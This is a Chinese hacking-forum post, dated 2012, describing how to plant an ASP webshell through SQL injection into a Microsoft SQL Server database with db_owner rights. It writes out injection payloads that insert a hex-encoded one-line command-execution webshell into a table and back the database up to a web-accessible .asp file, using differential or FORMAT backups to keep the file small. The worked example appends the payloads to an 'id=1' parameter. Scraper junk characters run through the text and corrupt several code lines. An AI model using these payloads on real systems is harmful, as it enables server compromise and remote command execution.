找回密码
 立即注册
查看: 3061|回复: 0
打印 上一主题 下一主题

DB_OWNER权限得到webshell的改进办法

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-9 21:31:07 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
DB_OWNER权限得到webshell的两点改进:
3 p$ ]! C( y( Z( L) V0 B
2 F2 B2 V0 Y/ z1 t减少备份文件大小,得到可执行的webshell成功率提高不少& w( _. ]& D6 d, m
一利用差异备份6 h( t$ \( s7 K& E
加一个参数WITH DIFFERENTIAL3 j8 u1 r& j0 w% _  C
+ \. b& [! m# n% b- J$ |$ w- Z
1
) }0 L* f$ q7 P% R/ s6 ?2
: |4 c. C( m+ H8 B3 S& R8 [37 q4 {4 k! H% G! s% l6 K4 @
4+ O9 @- z; h: Q" `* X
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s1 f: l* E4 V& k! ^; Y
create table [dbo].[xiaolu] ([cmd] [image]);
% p4 K* J$ }* tinsert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
  K9 ^0 M. X: g# Ldeclare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH DIFFERENTIAL
5 J& o4 Q- z: Z; h  o: e
9 N' G& U, f1 z5 D二利用完全FORMAT8 t: M: H. A" ~6 m7 `# n  c7 m$ s
加一个参数WITH FROMAT3 V3 K2 S* n; T2 Y) s# a/ f
有些页面对数据库要执行几次,而备份又默认是每次都以追加的方式,如果一个注入点对数据库有几次操作,而备份的文件就 几倍的增加,所以
' U5 f- L+ q- i
: x5 i: ~; I# D, A  a, c+ S& P5 G1! p5 B; M3 k4 N, F0 K9 @* Z# n
29 D0 A4 U9 B) X3 d' V, G
3
) Y" g. @8 W: p) b  \4% B/ [( ]/ {4 J7 Y$ u( _, C
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s. c( k2 z* w0 P1 e  u, j! b
create table [dbo].[xiaolu] ([cmd] [image]);
6 F- U+ P, ]% H" Q% f; k7 x" v7 h( c6 hinsert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
. I, a+ `( c; Cdeclare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH FORMAT
5 _6 \3 Y4 J" U/ n* |6 A# R% ?, e  u  P: @! V. H2 a
总的来说就是那么简单几句,下面以备份数据库model为例子, y; `6 |/ s. o) ~- W
1
/ J" W0 [& U# g9 U) w/ L$ {
6 W2 Y' @) K# t$ y1
1 K8 H+ F1 `0 b% D, f8 R id=1;use model create table cmd(str image);insert into cmd(str) values ('<%25execute(request("a"))%25>')
8 W; \3 P5 P. |% c7 p6 R' a& [7 C8 ~( G, h2 K4 ~
2
  @2 d' i5 A6 A  z; C' Q! Q
( F9 H& [6 V: [& h1
6 X  c$ x1 x1 B6 \  i2 E; S* f id=1;backup database model to disk='你的路径‘ with differential,format;--
8 X3 _9 A/ c$ W8 I5 s* c& [
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表